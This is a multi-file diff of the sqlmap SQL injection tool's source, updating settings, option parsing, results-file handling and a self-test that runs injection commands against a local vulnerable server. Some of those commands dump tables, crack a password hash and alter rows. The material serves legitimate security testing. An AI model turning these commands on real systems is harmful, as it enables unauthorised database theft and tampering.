TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -29,6 +29,7 @@ DEV_EMAIL_ADDRESS = "[email protected]"
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
WIKI_PAGE = "https://github.com/sqlmapproject/sqlmap/wiki/"
ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
# colorful banner
@@ -231,6 +232,9 @@ STDIN_PIPE_DASH = '-'
# URL used in dummy runs
DUMMY_URL = "http://foo/bar?id=1"
# Timeout used during initial websocket (pull) testing
WEBSOCKET_INITIAL_TIMEOUT = 3
# The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos'
PLATFORM = os.name
PYVERSION = sys.version.split()[0]
@@ -243,7 +247,7 @@ IS_TTY = os.isatty(sys.stdout.fileno())
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys")
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL")
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
@@ -360,7 +364,10 @@ ERROR_PARSING_REGEXES = (
META_CHARSET_REGEX = r'(?si)<head>.*<meta[^>]+charset="?(?P<result>[^"> ]+).*</head>'
# Regular expression used for parsing refresh info from meta html headers
META_REFRESH_REGEX = r'(?si)<head>(?!.*?<noscript.*?</head).*?<meta http-equiv="?refresh"?[^>]+content="?[^">]+url=["\']?(?P<result>[^\'">]+).*</head>'
META_REFRESH_REGEX = r'(?i)<meta http-equiv="?refresh"?[^>]+content="?[^">]+;\s*(url=)?["\']?(?P<result>[^\'">]+)'
# Regular expression used for parsing Javascript redirect request
JAVASCRIPT_HREF_REGEX = r'<script>\s*(\w+\.)?location\.href\s*=["\'](?P<result>[^"\']+)'
# Regular expression used for parsing empty fields in tested form data
EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=(&|\Z))'
@@ -378,7 +385,7 @@ WEBSCARAB_SPLITTER = "### Conversation"
BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}"
# Regex used for parsing XML Burp saved history items
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.+?<request base64="true"><!\[CDATA\[([^]]+)'
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)'
# Encoding used for Unicode data
UNICODE_ENCODING = "utf8"
@@ -413,6 +420,9 @@ CANDIDATE_SENTENCE_MIN_LENGTH = 10
# Character used for marking injectable position inside provided data
CUSTOM_INJECTION_MARK_CHAR = '*'
# Wildcard value that can be used in option --ignore-code
IGNORE_CODE_WILDCARD = '*'
# Other way to declare injection position
INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"
@@ -594,6 +604,9 @@ PARSE_HEADERS_LIMIT = 3
# Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
ORDER_BY_STEP = 10
# Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections
ORDER_BY_MAX = 1000
# Maximum number of times for revalidation of a character in inference (as required)
MAX_REVALIDATION_STEPS = 5
@@ -721,7 +734,7 @@ MAX_HELP_OPTION_LENGTH = 18
MAX_CONNECT_RETRIES = 100
# Strings for detecting formatting errors
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type")
# Regular expression used for extracting ASP.NET view state values
VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+16 -10
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -257,6 +257,9 @@ def _setRequestParams():
kb.processUserMarks = True
for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)):
continue
_ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or ""
if kb.customInjectionMark in _:
if kb.processUserMarks is None:
@@ -398,7 +401,7 @@ def _setRequestParams():
raise SqlmapGenericException(errMsg)
if conf.csrfToken:
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
errMsg += "found in provided GET, POST, Cookie or header values"
raise SqlmapGenericException(errMsg)
@@ -561,16 +564,18 @@ def _setResultsFile():
return
if not conf.resultsFP:
conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
found = os.path.exists(conf.resultsFile)
try:
conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0)
conf.resultsFP = openFile(conf.resultsFile, "a", UNICODE_ENCODING, buffering=0)
except (OSError, IOError) as ex:
try:
warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFile, getUnicode(ex))
handle, conf.resultsFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
os.close(handle)
conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
conf.resultsFP = openFile(conf.resultsFile, "w+", UNICODE_ENCODING, buffering=0)
warnMsg += "Using temporary file '%s' instead" % conf.resultsFile
logger.warn(warnMsg)
except IOError as _:
errMsg = "unable to write to the temporary directory ('%s'). " % _
@@ -579,9 +584,10 @@ def _setResultsFile():
errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg)
conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
if not found:
conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename)
logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFile)
def _createFilesDir():
"""
+67 -15
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -14,6 +14,8 @@ import os
import random
import re
import shutil
import socket
import sqlite3
import sys
import tempfile
import threading
@@ -31,6 +33,7 @@ from lib.core.common import readXmlFile
from lib.core.common import shellExec
from lib.core.compat import round
from lib.core.compat import xrange
from lib.core.convert import encodeBase64
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
@@ -61,8 +64,34 @@ def vulnTest():
Runs the testing against 'vulnserver'
"""
TESTS = (
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)),
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --answer=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")),
("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
("-d <direct> --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)),
("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)),
)
retVal = True
count, length = 0, 6
count = 0
address, port = "127.0.0.10", random.randint(1025, 65535)
def _thread():
@@ -73,25 +102,48 @@ def vulnTest():
thread.daemon = True
thread.start()
for options, checks in (
("--flush-session", ("CloudFlare",)),
("--flush-session --parse-errors --eval=\"id2=2\" --referer=\"localhost\" --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e\"", (": syntax error", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "back-end DBMS: SQLite", "3 columns")),
("--banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
("--all --tamper=between,randomcase", ("5 entries", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
("-z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT 987654321\"", ("length of query output", ": '987654321'",)),
("--technique=T --fresh-queries --sql-query=\"SELECT 1234\"", (": '1234'",)),
):
cmd = "%s %s -u http://%s:%d/?id=1 --batch %s" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), address, port, options)
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((address, port))
break
except:
time.sleep(1)
handle, database = tempfile.mkstemp(suffix=".sqlite")
os.close(handle)
with sqlite3.connect(database) as conn:
c = conn.cursor()
c.executescript(vulnserver.SCHEMA)
handle, request = tempfile.mkstemp(suffix=".req")
os.close(handle)
handle, log = tempfile.mkstemp(suffix=".log")
os.close(handle)
content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port)
open(request, "w+").write(content)
open(log, "w+").write('<port>%d</port><request base64="true"><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False)))
url = "http://%s:%d/?id=1" % (address, port)
direct = "sqlite3://%s" % database
for options, checks in TESTS:
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log))
output = shellExec(cmd)
if not all(check in output for check in checks):
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
dataToStdout("---\n\n$ %s\n" % cmd)
dataToStdout("%s---\n" % clearColors(output))
retVal = False
count += 1
status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
clearConsoleLine()
if retVal:
@@ -156,7 +208,7 @@ def smokeTest():
continue
for filename in files:
if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
if os.path.splitext(filename)[1].lower() == ".py" and filename not in ("__init__.py", "gui.py"):
path = os.path.join(root, os.path.splitext(filename)[0])
path = path.replace(paths.SQLMAP_ROOT_PATH, '.')
path = path.replace(os.sep, '.').lstrip('.')
+15 -3
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -73,6 +73,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
# It will be overwritten by original from lib.core.common
pass
def isDigit(value):
# It will be overwritten by original from lib.core.common
pass
def getCurrentThreadData():
"""
Returns current thread's local data
@@ -119,16 +123,18 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
kb.threadException = False
kb.technique = ThreadData.technique
if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
while True:
message = "please enter number of threads? [Enter for %d (current)] " % numThreads
choice = readInput(message, default=str(numThreads))
if choice:
skipThreadCheck = False
if choice.endswith('!'):
choice = choice[:-1]
skipThreadCheck = True
if choice.isdigit():
if isDigit(choice):
if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck:
errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
logger.critical(errMsg)
@@ -179,6 +185,12 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
kb.threadContinue = False
kb.threadException = True
if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
kb.multipleCtrlC = True
raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
kb.lastCtrlCTime = time.time()
if numThreads > 1:
logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
try:
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+2 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -136,6 +136,6 @@ def update():
infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
else:
infoMsg = "for Linux platform it's recommended "
infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt install git')"
logger.info(infoMsg)
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+37 -20
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -78,6 +78,7 @@ from lib.core.defaults import defaults
from lib.core.dicts import DEPRECATED_OPTIONS
from lib.core.enums import AUTOCOMPLETE_TYPE
from lib.core.exception import SqlmapShellQuitException
from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapSyntaxException
from lib.core.option import _createHomeDirectories
from lib.core.settings import BASIC_HELP_ITEMS
@@ -121,18 +122,15 @@ def cmdLineParser(argv=None):
# Target options
target = parser.add_argument_group("Target", "At least one of these options has to be provided to define the target(s)")
target.add_argument("-d", dest="direct",
help="Connection string for direct database connection")
target.add_argument("-u", "--url", dest="url",
help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")")
target.add_argument("-d", dest="direct",
help="Connection string for direct database connection")
target.add_argument("-l", dest="logFile",
help="Parse target(s) from Burp or WebScarab proxy log file")
target.add_argument("-x", dest="sitemapUrl",
help="Parse target(s) from remote sitemap(.xml) file")
target.add_argument("-m", dest="bulkFile",
help="Scan multiple targets given in a textual file ")
@@ -148,6 +146,12 @@ def cmdLineParser(argv=None):
# Request options
request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL")
request.add_argument("-A", "--user-agent", dest="agent",
help="HTTP User-Agent header value")
request.add_argument("-H", "--header", dest="header",
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
request.add_argument("--method", dest="method",
help="Force usage of given HTTP method (e.g. PUT)")
@@ -169,9 +173,6 @@ def cmdLineParser(argv=None):
request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true",
help="Ignore Set-Cookie header from response")
request.add_argument("--user-agent", dest="agent",
help="HTTP User-Agent header value")
request.add_argument("--mobile", dest="mobile", action="store_true",
help="Imitate smartphone through HTTP User-Agent header")
@@ -184,9 +185,6 @@ def cmdLineParser(argv=None):
request.add_argument("--referer", dest="referer",
help="HTTP Referer header value")
request.add_argument("-H", "--header", dest="header",
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
request.add_argument("--headers", dest="headers",
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
@@ -413,7 +411,7 @@ def cmdLineParser(argv=None):
help="Perform an extensive DBMS version fingerprint")
# Enumeration options
enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements")
enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables")
enumeration.add_argument("-a", "--all", dest="getAll", action="store_true",
help="Retrieve everything")
@@ -728,12 +726,18 @@ def cmdLineParser(argv=None):
miscellaneous.add_argument("--purge", dest="purge", action="store_true",
help="Safely remove all content from sqlmap data directory")
miscellaneous.add_argument("--results-file", dest="resultsFile",
help="Location of CSV results file in multiple targets mode")
miscellaneous.add_argument("--sqlmap-shell", dest="sqlmapShell", action="store_true",
help="Prompt for an interactive sqlmap shell")
miscellaneous.add_argument("--tmp-dir", dest="tmpDir",
help="Local directory for storing temporary files")
miscellaneous.add_argument("--unstable", dest="unstable", action="store_true",
help="Adjust options for unstable connections")
miscellaneous.add_argument("--update", dest="updateAll", action="store_true",
help="Update sqlmap")
@@ -777,6 +781,9 @@ def cmdLineParser(argv=None):
parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
help=SUPPRESS)
parser.add_argument("--gui", dest="gui", action="store_true",
help=SUPPRESS)
parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
help=SUPPRESS)
@@ -844,7 +851,6 @@ def cmdLineParser(argv=None):
break
_ = []
prompt = False
advancedHelp = True
extraHeaders = []
tamperIndex = None
@@ -856,9 +862,14 @@ def cmdLineParser(argv=None):
argv = _
checkOldOptions(argv)
prompt = "--sqlmap-shell" in argv
if "--gui" in argv:
from lib.core.gui import runGui
if prompt:
runGui(parser)
raise SqlmapSilentQuitException
elif "--sqlmap-shell" in argv:
_createHomeDirectories()
parser.usage = ""
@@ -903,9 +914,10 @@ def cmdLineParser(argv=None):
for i in xrange(len(argv)):
longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
if argv[i] == "-hh":
argv[i] = "-h"
elif i == 1 and argv[i].startswith("http"):
elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None:
argv[i] = "--url=%s" % argv[i]
elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
@@ -916,6 +928,9 @@ def cmdLineParser(argv=None):
elif re.search(r"\A-\w=.+", argv[i]):
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
raise SystemExit
elif re.search(r"\A-\w{3,}", argv[i]):
if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
argv[i] = "-%s" % argv[i]
elif argv[i] in DEPRECATED_OPTIONS:
argv[i] = ""
elif argv[i].startswith("--tamper"):
@@ -927,6 +942,8 @@ def cmdLineParser(argv=None):
elif argv[i] == "-H":
if i + 1 < len(argv):
extraHeaders.append(argv[i + 1])
elif argv[i] == "--deps":
argv[i] = "--dependencies"
elif argv[i] == "-r":
for j in xrange(i + 2, len(argv)):
value = argv[j]
@@ -988,8 +1005,8 @@ def cmdLineParser(argv=None):
if args.dummy:
args.url = args.url or DUMMY_URL
